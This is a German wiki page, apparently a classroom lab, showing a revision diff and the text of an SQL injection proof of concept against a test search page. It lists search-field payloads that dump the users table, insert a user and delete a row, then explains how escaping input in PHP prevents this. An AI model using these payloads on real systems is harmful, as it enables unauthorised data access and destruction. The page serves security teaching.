Sql-Injection-Proof-of-Concept: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (9 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 4: | Zeile 4: | ||
=Unsichere Seite= | =Unsichere Seite= | ||
==Abfrage== | ==Abfrage== | ||
| − | *' or '1' = '1 | + | ;ins Suchfeld |
| + | *' or '1' = '1 | ||
[[Datei:sql-injection-1.png]] | [[Datei:sql-injection-1.png]] | ||
==Einfügen eines Datensatz== | ==Einfügen eines Datensatz== | ||
| − | *'; insert into users values(' | + | ;ins Suchfeld |
| + | *' ; insert into users values('8','wauzi','streng'); -- | ||
| + | ;Dann die Abfrage ins Suchfeld | ||
| + | *' or '1' = '1 | ||
| + | ==Löschen eines Datensatz== | ||
| + | ;ins Suchfeld | ||
| + | *' ; delete from users where ID = '1'; -- | ||
| + | ;Dann die Abfrage ins Suchfeld | ||
| + | *' or '1' = '1 | ||
=Sichere Seite= | =Sichere Seite= | ||
Aktuelle Version vom 11. August 2024, 16:56 Uhr
Test Seite
Unsichere Seite
Abfrage
- ins Suchfeld
- ' or '1' = '1
Einfügen eines Datensatz
- ins Suchfeld
- ' ; insert into users values('8','wauzi','streng'); --
- Dann die Abfrage ins Suchfeld
- ' or '1' = '1
Löschen eines Datensatz
- ins Suchfeld
- ' ; delete from users where ID = '1'; --
- Dann die Abfrage ins Suchfeld
- ' or '1' = '1
Sichere Seite
Erläuterung
Unsichere Methode
- Bei der Unsicheren Methode wird folgender Query abgesetzt.
- SELECT * FROM users WHERE username='$search';
- Wenn wir in die Variable $search folgendes schreiben
$search = ' or '1' = '1
- wird folgender Suchausdruck gebildet
- SELECT * FROM users WHERE username=' ' or '1' = '1';
- da der 2. Ausdruck wahr ist, wird die ganze Tabelle ausgegeben.
Sichere Methode
Das Sicherheitsproblem wird also dadurch verursacht, dass eine Benutzereingabe ungeprüft bzw. unverarbeitet weiter benutzt wird.
- Bei der sicheren Methode wird die Benutzereingabe nicht direkt übergeben.
In diesem Beispiel wird eine php-Funktion benutzt, die dafür sorgt, dass Sonderzeichen entwertet werden
So wird eine sicherere SQL Abfrage gebildet.
Die an die Datenbank geschickte Abfrage sieht in diesem Fall so aus:
SELECT * FROM users WHERE username='\'or\'1\'=\'1'
- Prinzipiell sollten alle Daten die von Außen kommen als unsicher angesehen werden und niemals ohne eine Prüfung und/oder Bearbeitung weiterverwendet werden.

